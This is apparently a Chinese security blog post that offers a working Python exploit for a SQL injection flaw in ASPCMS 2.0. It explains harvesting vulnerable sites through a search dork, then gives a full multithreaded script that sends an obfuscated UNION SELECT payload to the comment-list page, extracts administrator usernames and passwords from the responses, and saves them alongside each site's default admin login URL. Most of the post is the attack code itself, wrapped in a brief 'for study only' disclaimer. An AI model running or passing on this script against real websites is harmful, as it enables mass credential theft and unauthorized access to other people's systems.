ASPCMS2.0漏洞利用带exp – 作者:muyou8

ASPCMS2.0漏洞利用带exp

最近在学习python的时候学到request库和正则表达,无意中看到很多年前的aspcms2.0的漏洞利用,
想着学了python能不能写个exp。

aspcms2.0的漏洞是一个比较老的漏洞了
首先利用url采集,采集关键字:Powered by AspCms2.0
图片[1]-ASPCMS2.0漏洞利用带exp – 作者:muyou8-安全小百科
采集到之后右击导出,编写exp程序,原理就是利用request库请求漏洞地址
在返回的包中利用正则表达式提取出账号密码,然后导出到文件
这是exp执行的的结果
图片[2]-ASPCMS2.0漏洞利用带exp – 作者:muyou8-安全小百科
但是有些网站后台改了,exp执行的结果是默认后台能打开的才能导出

exp如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
作者:木尤
本程序是ASP_CMS2.0的0dayexp
网址放在OK.txt文件里面,一行一个
等待程序执行完毕会导出存在的网址
需要安装requests和threadpool库
本程序仅用于学习交流,请在下载后24内删除,请勿用于非法途径,造成的后果与本人无关
'''
import requests,re,threadpool
from urllib.parse import urlparse
f=open('success.txt','w+')
lists=[]
def exp(u):
    #漏洞exp
    exp="/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user"
    #默认后台
    ad="/admin/login.asp"
    url=u +exp
    url2=u+ad
    try:
        #访问exp
        res=requests.get(url,timeout=3)
        #访问默认后台
        res1=requests.get(u+ad,timeout=3)
        #判断默认后台是否可以打开
        if res1.status_code==200:
            #判断exp是否存在
            if res.status_code==200 and 'IP' in res.text:
                print(u)
                html=res.text
                #提取账号密码
                users=re.search('评论者:(.*) IP',html)
                passd=re.search('"line2">(.*)</div>',html)
                print('username:',users.group(1))
                print('password:',passd.group(1))
                #写入文件
                f.write(url2+'\n'+'username:'+users.group(1)+'\n'+'passwrod:'+passd.group(1)+'\n')
    except:
        pass

#url.txt为需要采集的url,跟本脚本在同一目录下面
for us in open('url.txt','r'):
    ur=us.strip()
    urs = 'http://'+urlparse(ur).netloc
    #exp(urs)
    lists.append(urs)
#多线程,30为线程数
pool=threadpool.ThreadPool(30)
reqs=threadpool.makeRequests(exp,lists)
[pool.putRequest(req) for req in reqs]
pool.wait()
f.close()

来源:freebuf.com 2020-12-15 19:41:29 by: muyou8

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论